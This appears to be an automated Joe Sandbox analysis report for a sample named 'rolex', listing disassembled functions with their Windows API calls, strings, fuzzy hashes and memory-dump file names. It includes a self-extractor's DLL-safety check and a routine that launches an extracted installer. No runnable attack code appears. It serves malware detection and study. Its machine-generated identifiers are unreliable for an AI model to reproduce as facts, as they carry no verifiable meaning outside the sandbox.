API ID: Window$Rect$ItemText$ByteCharClientLongMetricsMultiSystemWideswprintf
String ID: $%s:$CAPTION
API String ID: 1936833115-404845831
Opcode ID: 1224945cd41bf140f0dcf37f1b002595631e4f701a4b658f84a72e9da714e3d9
Instruction ID: f18281db7b6824ea551893460ccf7ea356310c40c34f707a9ccc4524bf5c8d45
Opcode Fuzzy Hash: 1224945cd41bf140f0dcf37f1b002595631e4f701a4b658f84a72e9da714e3d9
Instruction Fuzzy Hash: 4A91D832B1964186E714EF3DA440669E7A1FB88B84F855535EE4D47BB8DF3CE805CB10

Function 00007FF7AB49F930 Relevance: 17.2, APIs: 8, Strings: 1, Instructions: 1417COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A1239
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A123F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A1245
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A124B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A1251
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A1257
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A125D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A1263

Strings

__tmp_reference_source_, xrefs: 00007FF7AB49FCCF, 00007FF7AB49FCDE

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: __tmp_reference_source_
API String ID: 3668304517-685763994
Opcode ID: 4624d0d2893f011b5be8b6ffca3faaddc15c8b957ce7a47abe3dcbca9120cf77
Instruction ID: 15b592bc9c0ecec2f8723c894d324e089032fb4cdd8fe0a4eea219f695fb652b
Opcode Fuzzy Hash: 4624d0d2893f011b5be8b6ffca3faaddc15c8b957ce7a47abe3dcbca9120cf77
Instruction Fuzzy Hash: 8EE2A262A0A6C296EA64EB39E4507BEE761FB81780F814136DB9D137B5CF3CE454C720

Function 00007FF7AB494840 Relevance: 12.1, APIs: 5, Strings: 1, Instructions: 1624COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB49511E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB495124
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB49512A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB495E16
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB495E1C

Strings

CMT, xrefs: 00007FF7AB4959B2

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: CMT
API String ID: 3668304517-2756464174
Opcode ID: 3e3ef2645bc48f2f268b551dc6196b380c912f1c7b9d048ccb2ab2083d35e596
Instruction ID: 2cb3ba7b84680c70c42c0fb4f4d6b0c5c674403a2d46afbb1cb2bc7c758a83fb
Opcode Fuzzy Hash: 3e3ef2645bc48f2f268b551dc6196b380c912f1c7b9d048ccb2ab2083d35e596
Instruction Fuzzy Hash: 18E2F032B0A68286EB28EB79D4506FDA7A1FB45784F910035EA5E477B6DF3CE454C320

Function 00007FF7AB4A40BC Relevance: 10.7, APIs: 7, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE ref: 00007FF7AB4A410B
FindFirstFileW.KERNEL32 ref: 00007FF7AB4A415E
GetLastError.KERNEL32 ref: 00007FF7AB4A41AF
FindNextFileW.KERNEL32 ref: 00007FF7AB4A41D7
GetLastError.KERNEL32 ref: 00007FF7AB4A41E5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A430F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4A4315

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: FileFind$ErrorFirstLast_invalid_parameter_noinfo_noreturn$Next
String ID:
API String ID: 474548282-0
Opcode ID: 5b7a682f346ba33cc6e8113bf8bb974c5d06c867b30d63dc8f71ee7e42fd28a6
Instruction ID: f9e9ebafca51cdc6c7961245dec2d50d0ad6b386c36ac6b166f8d35b6bf43502
Opcode Fuzzy Hash: 5b7a682f346ba33cc6e8113bf8bb974c5d06c867b30d63dc8f71ee7e42fd28a6
Instruction Fuzzy Hash: B461D572A0A64281EA10AF2DE84527DA761FB85BB4F914335EABD036F9DF3CD544C710

Function 00007FF7AB495E24 Relevance: 7.6, APIs: 3, Strings: 1, Instructions: 586COMMON

Download Yara Rule

Strings

CMT, xrefs: 00007FF7AB4959B2, 00007FF7AB49675B

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID:
String ID: CMT
API String ID: 0-2756464174
Opcode ID: b8fa635b894758bb4949fb57bddd48836ff0d2ecd2be86fe1bb2065c738ed5aa
Instruction ID: 98af63e084f5c6a2338b1af572d9dcb5cc9b7f22780347c4010f1f279246f76a
Opcode Fuzzy Hash: b8fa635b894758bb4949fb57bddd48836ff0d2ecd2be86fe1bb2065c738ed5aa
Instruction Fuzzy Hash: 3E42D222B0A68196FB18EB78C1506FDB7A1FB51744F810136EB6E576B6DF38E518C310

Function 00007FF7AB4ADFD0 Relevance: 143.9, APIs: 16, Strings: 66, Instructions: 440
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF7AB4AE018
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF7AB4AE030
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF7AB4AE05D
CreateFileW.KERNEL32 ref: 00007FF7AB4AE3F0
SetFilePointer.KERNEL32 ref: 00007FF7AB4AE40E
ReadFile.KERNEL32 ref: 00007FF7AB4AE436

Part of subcall function 00007FF7AB4ADFD0: GetSystemDirectoryW.KERNEL32 ref: 00007FF7AB4ADDDF

CompareStringW.KERNELBASE ref: 00007FF7AB4AE559
CloseHandle.KERNEL32 ref: 00007FF7AB4AE4F3

Part of subcall function 00007FF7AB491FA0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB491FFB

Part of subcall function 00007FF7AB4A51A4: GetVersionExW.KERNEL32 ref: 00007FF7AB4A51D5

Part of subcall function 00007FF7AB4ADFD0: LoadLibraryW.KERNELBASE ref: 00007FF7AB4ADEFF
Part of subcall function 00007FF7AB4ADFD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4ADFB5
Part of subcall function 00007FF7AB4ADFD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4ADFBB
Part of subcall function 00007FF7AB4ADFD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4ADFC1
Part of subcall function 00007FF7AB4ADFD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4ADFC7

AllocConsole.KERNEL32(?,?,?,00000000,?), ref: 00007FF7AB4AE74B
GetCurrentProcessId.KERNEL32(?,?,?,00000000,?), ref: 00007FF7AB4AE755
AttachConsole.KERNEL32(?,?,?,00000000,?), ref: 00007FF7AB4AE75D
GetStdHandle.KERNEL32(?,?,?,00000000,?), ref: 00007FF7AB4AE780
WriteConsoleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF7AB4AE799
Sleep.KERNEL32(?,?,?,00000000,?), ref: 00007FF7AB4AE7A4
FreeConsole.KERNEL32(?,?,?,00000000,?), ref: 00007FF7AB4AE7AA
ExitProcess.KERNEL32 ref: 00007FF7AB4AE7BB

Strings

dnsapi.DLL, xrefs: 00007FF7AB4AE259
cscapi.dll, xrefs: 00007FF7AB4AE22F
wintrust.dll, xrefs: 00007FF7AB4AE1B1
SSPICLI.DLL, xrefs: 00007FF7AB4AE09C
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00007FF7AB4AE73B
cryptui.dll, xrefs: 00007FF7AB4AE1A3
secur32.dll, xrefs: 00007FF7AB4AE1CD
msasn1.dll, xrefs: 00007FF7AB4AE195
srvcli.dll, xrefs: 00007FF7AB4AE221
aclui.dll, xrefs: 00007FF7AB4AE371
WindowsCodecs.dll, xrefs: 00007FF7AB4AE213
dhcpcsvc6.dll, xrefs: 00007FF7AB4AE31D
usp10.dll, xrefs: 00007FF7AB4AE0DE
sfc_os.dll, xrefs: 00007FF7AB4AE091
SetDefaultDllDirectories, xrefs: 00007FF7AB4AE053
shdocvw.dll, xrefs: 00007FF7AB4AE179
samlib.dll, xrefs: 00007FF7AB4AE2D7
setupapi.dll, xrefs: 00007FF7AB4AE141
slc.dll, xrefs: 00007FF7AB4AE23D
apphelp.dll, xrefs: 00007FF7AB4AE14F
comres.dll, xrefs: 00007FF7AB4AE0F4
UXTheme.dll, xrefs: 00007FF7AB4AE0B2
cryptbase.dll, xrefs: 00007FF7AB4AE0C8
propsys.dll, xrefs: 00007FF7AB4AE2AD
rasadhlp.dll, xrefs: 00007FF7AB4AE30F
imageres.dll, xrefs: 00007FF7AB4AE24B
userenv.dll, xrefs: 00007FF7AB4AE15D
dhcpcsvc.dll, xrefs: 00007FF7AB4AE32B
cabinet.dll, xrefs: 00007FF7AB4AE1DB
dfscli.dll, xrefs: 00007FF7AB4AE2F3
SetDllDirectoryW, xrefs: 00007FF7AB4AE026
mpr.dll, xrefs: 00007FF7AB4AE291
shell32.dll, xrefs: 00007FF7AB4AE1BF
lpk.dll, xrefs: 00007FF7AB4AE0D3
DXGIDebug.dll, xrefs: 00007FF7AB4AE086, 00007FF7AB4AE5B6
netutils.dll, xrefs: 00007FF7AB4AE283
samcli.dll, xrefs: 00007FF7AB4AE2C9
ieframe.dll, xrefs: 00007FF7AB4AE120
ws2_32.dll, xrefs: 00007FF7AB4AE0FF
iphlpapi.DLL, xrefs: 00007FF7AB4AE267
version.dll, xrefs: 00007FF7AB4AE07B
wkscli.dll, xrefs: 00007FF7AB4AE2E5
ws2help.dll, xrefs: 00007FF7AB4AE10A
clbcatq.dll, xrefs: 00007FF7AB4AE0E9
kernel32, xrefs: 00007FF7AB4AE011
netapi32.dll, xrefs: 00007FF7AB4AE16B
linkinfo.dll, xrefs: 00007FF7AB4AE347
XmlLite.dll, xrefs: 00007FF7AB4AE339
profapi.dll, xrefs: 00007FF7AB4AE205
oleaccrc.dll, xrefs: 00007FF7AB4AE1E9
RpcRtRemote.dll, xrefs: 00007FF7AB4AE363
dsrole.dll, xrefs: 00007FF7AB4AE37F
cryptsp.dll, xrefs: 00007FF7AB4AE355
psapi.dll, xrefs: 00007FF7AB4AE115
WINNSI.DLL, xrefs: 00007FF7AB4AE275
uxtheme.dll, xrefs: 00007FF7AB4AE66D
rsaenh.dll, xrefs: 00007FF7AB4AE0A7
crypt32.dll, xrefs: 00007FF7AB4AE187
atl.dll, xrefs: 00007FF7AB4AE136
mlang.dll, xrefs: 00007FF7AB4AE2BB
ntshrui.dll, xrefs: 00007FF7AB4AE12B
ntmarta.dll, xrefs: 00007FF7AB4AE1F7
peerdist.dll, xrefs: 00007FF7AB4AE38D
devrtl.dll, xrefs: 00007FF7AB4AE29F
browcli.dll, xrefs: 00007FF7AB4AE301
dwmapi.dll, xrefs: 00007FF7AB4AE0BD, 00007FF7AB4AE661

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Console$FileHandle$AddressProcProcess$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadModulePointerReadSleepStringSystemVersionWrite
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$RpcRtRemote.dll$SSPICLI.DLL$SetDefaultDllDirectories$SetDllDirectoryW$UXTheme.dll$WINNSI.DLL$WindowsCodecs.dll$XmlLite.dll$aclui.dll$apphelp.dll$atl.dll$browcli.dll$cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$cryptbase.dll$cryptsp.dll$cryptui.dll$cscapi.dll$devrtl.dll$dfscli.dll$dhcpcsvc.dll$dhcpcsvc6.dll$dnsapi.DLL$dsrole.dll$dwmapi.dll$ieframe.dll$imageres.dll$iphlpapi.DLL$kernel32$linkinfo.dll$lpk.dll$mlang.dll$mpr.dll$msasn1.dll$netapi32.dll$netutils.dll$ntmarta.dll$ntshrui.dll$oleaccrc.dll$peerdist.dll$profapi.dll$propsys.dll$psapi.dll$rasadhlp.dll$rsaenh.dll$samcli.dll$samlib.dll$secur32.dll$setupapi.dll$sfc_os.dll$shdocvw.dll$shell32.dll$slc.dll$srvcli.dll$userenv.dll$usp10.dll$uxtheme.dll$version.dll$wintrust.dll$wkscli.dll$ws2_32.dll$ws2help.dll
API String ID: 1496594111-2013832382
Opcode ID: 652c747d7e630e86415ee3ad066f254a367a94a472fe2acd263d178260856de2
Instruction ID: 7879610c5b2aff341a198f7b2b27bf57cf70b2fb6a3524d8ca8b45d08013bc5e
Opcode Fuzzy Hash: 652c747d7e630e86415ee3ad066f254a367a94a472fe2acd263d178260856de2
Instruction Fuzzy Hash: 5E321A31A0BB8299EB51AF68E8401E9B3A4FF44354FD10236DA8D467B9EF3CD655C360

Function 00007FF7AB4A98DC Relevance: 25.2, APIs: 3, Strings: 11, Instructions: 702COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AB4A8E58: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AB4A8F8D

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AB4A9F75
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4AA42F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4AA435

Part of subcall function 00007FF7AB4B0BBC: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7AB4B0B44), ref: 00007FF7AB4B0BE9

Strings

@%s:, xrefs: 00007FF7AB4A9F57
DIRECTION, xrefs: 00007FF7AB4A9DE5
RTL, xrefs: 00007FF7AB4A9F2E
MENU, xrefs: 00007FF7AB4A9DD9
,, xrefs: 00007FF7AB4A9FAA
STRINGS, xrefs: 00007FF7AB4A9DC1
*messages***, xrefs: 00007FF7AB4A9BC6
DIALOG, xrefs: 00007FF7AB4A9DCD
*messages***, xrefs: 00007FF7AB4A9C04
, xrefs: 00007FF7AB4A9DF9
$%s:, xrefs: 00007FF7AB4A9F50

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ByteCharConcurrency::cancel_current_taskMultiWide_snwprintf
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS
API String ID: 3629253777-3268106645
Opcode ID: 789f2c465d95f0b5fb7cec132a24dad3ff94c3f7f58e61963b873022c14ab567
Instruction ID: 8c14d0a5cb31f46ba8035a4d337bf08ac810c9b08719cbf057067571c89b4797
Opcode Fuzzy Hash: 789f2c465d95f0b5fb7cec132a24dad3ff94c3f7f58e61963b873022c14ab567
Instruction Fuzzy Hash: A362AE22A1AB8295EB10EF2CD4442BEA365FB44788FC2413ADA5D476F5EF3CE544C360

Function 00007FF7AB4C1900 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 195
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7AB4C1558: DloadProtectSection.DELAYIMP ref: 00007FF7AB4C15C9

RaiseException.KERNEL32 ref: 00007FF7AB4C19A7
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF7AB4C1993

Part of subcall function 00007FF7AB4C1868: DloadProtectSection.DELAYIMP ref: 00007FF7AB4C18C7

LoadLibraryExA.KERNELBASE ref: 00007FF7AB4C1A46
GetLastError.KERNEL32 ref: 00007FF7AB4C1A54
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF7AB4C1A86
RaiseException.KERNEL32 ref: 00007FF7AB4C1A9A

Strings

H, xrefs: 00007FF7AB4C1974

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: DloadSection$AccessExceptionProtectRaiseReleaseWrite$ErrorLastLibraryLoad
String ID: H
API String ID: 3432403771-2852464175
Opcode ID: cf3fc932a6b7fb7fc9ef8320b4dd67bfc8d7ec91281715f792326570f1d4a57f
Instruction ID: 4307360f4bfbc7aec75a2fc4b8ad21933edaf06b52d15c34199e32f7685a6082
Opcode Fuzzy Hash: cf3fc932a6b7fb7fc9ef8320b4dd67bfc8d7ec91281715f792326570f1d4a57f
Instruction Fuzzy Hash: 48913C32A06B518AEB50EF69D8406BCB3B1BB09B98F864535DE0D17774EF38E845D720

Function 00007FF7AB4BF4E0 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 285
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32 ref: 00007FF7AB4BF747
IsWindowVisible.USER32 ref: 00007FF7AB4BF777
ShowWindow.USER32 ref: 00007FF7AB4BF786
WaitForInputIdle.USER32 ref: 00007FF7AB4BF797
GetExitCodeProcess.KERNEL32 ref: 00007FF7AB4BF7BD
CloseHandle.KERNEL32 ref: 00007FF7AB4BF7E7
ShowWindow.USER32 ref: 00007FF7AB4BF83F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AB4BF8FB

Strings

.exe, xrefs: 00007FF7AB4BF7F2
.inf, xrefs: 00007FF7AB4BF675
Install, xrefs: 00007FF7AB4BF684
p, xrefs: 00007FF7AB4BF529

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_invalid_parameter_noinfo_noreturn
String ID: .exe$.inf$Install$p
API String ID: 148627002-3607691742
Opcode ID: 1718da423bd7346896bcb56f91dbb63b3cffccde2402356a375081e8d016c4d6
Instruction ID: 04b4d9a7277dbf4b78d032f230b9390d30ae976814bb5301a808132fb0d91296
Opcode Fuzzy Hash: 1718da423bd7346896bcb56f91dbb63b3cffccde2402356a375081e8d016c4d6
Instruction Fuzzy Hash: FEC18E62F1AA0295FB00EBADD94027DA7B1AF85B80F854435DF4D87AB6DF3DE4518320

Function 00007FF7AB4B8624 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 101
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNELBASE ref: 00007FF7AB4B863D
SizeofResource.KERNEL32 ref: 00007FF7AB4B8659
LoadResource.KERNEL32 ref: 00007FF7AB4B8673
LockResource.KERNEL32 ref: 00007FF7AB4B8685
GlobalAlloc.KERNELBASE ref: 00007FF7AB4B86A6
GlobalLock.KERNEL32 ref: 00007FF7AB4B86BB
GdipAlloc.GDIPLUS ref: 00007FF7AB4B86FE
GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF7AB4B8769
GlobalUnlock.KERNEL32 ref: 00007FF7AB4B878C
GlobalFree.KERNEL32 ref: 00007FF7AB4B8795

Strings

PNG, xrefs: 00007FF7AB4B862F

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

API ID: GlobalResource$AllocGdipLock$BitmapCreateFindFreeFromLoadSizeofUnlock
String ID: PNG
API String ID: 541704414-364855578
Opcode ID: c8606208415c3a11eb94d5df8c8f8595ea54109f2541637b646828bce78d4013
Instruction ID: 82dc82f6de6f9bc7a10d5253274535b70feae0236ba9e7b6117727e70b5d427d
Opcode Fuzzy Hash: c8606208415c3a11eb94d5df8c8f8595ea54109f2541637b646828bce78d4013
Instruction Fuzzy Hash: 93414F25A0BB0681EF44AF6AD854379EBA0AF88F94F890435CE4D47374EF7CE4498320

Function 00007FF7AB4BF0A4 Relevance: 16.6, APIs: 11, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7AB4BAE1C: PeekMessageW.USER32 ref: 00007FF7AB4BAE32
Part of subcall function 00007FF7AB4BAE1C: GetMessageW.USER32 ref: 00007FF7AB4BAE49
Part of subcall function 00007FF7AB4BAE1C: IsDialogMessageW.USER32 ref: 00007FF7AB4BAE60
Part of subcall function 00007FF7AB4BAE1C: TranslateMessage.USER32 ref: 00007FF7AB4BAE6F
Part of subcall function 00007FF7AB4BAE1C: DispatchMessageW.USER32 ref: 00007FF7AB4BAE7A

GetDlgItem.USER32 ref: 00007FF7AB4BF0E3
ShowWindow.USER32 ref: 00007FF7AB4BF109
IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF11E
IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF136
IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF157
IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF173
IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF1B6
IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF1D4
IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF1E8
IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF212
IsDlgButtonChecked.USER32 ref: 00007FF7AB4BF22A

Memory Dump Source

Source File: 00000003.00000002.2047990803.00007FF7AB491000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7AB490000, based on PE: true

Associated: 00000003.00000002.2047974659.00007FF7AB490000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048021052.00007FF7AB4D8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048042527.00007FF7AB4F4000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2048076885.00007FF7AB4FE000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7ab490000_rolex.jbxd

Similarity

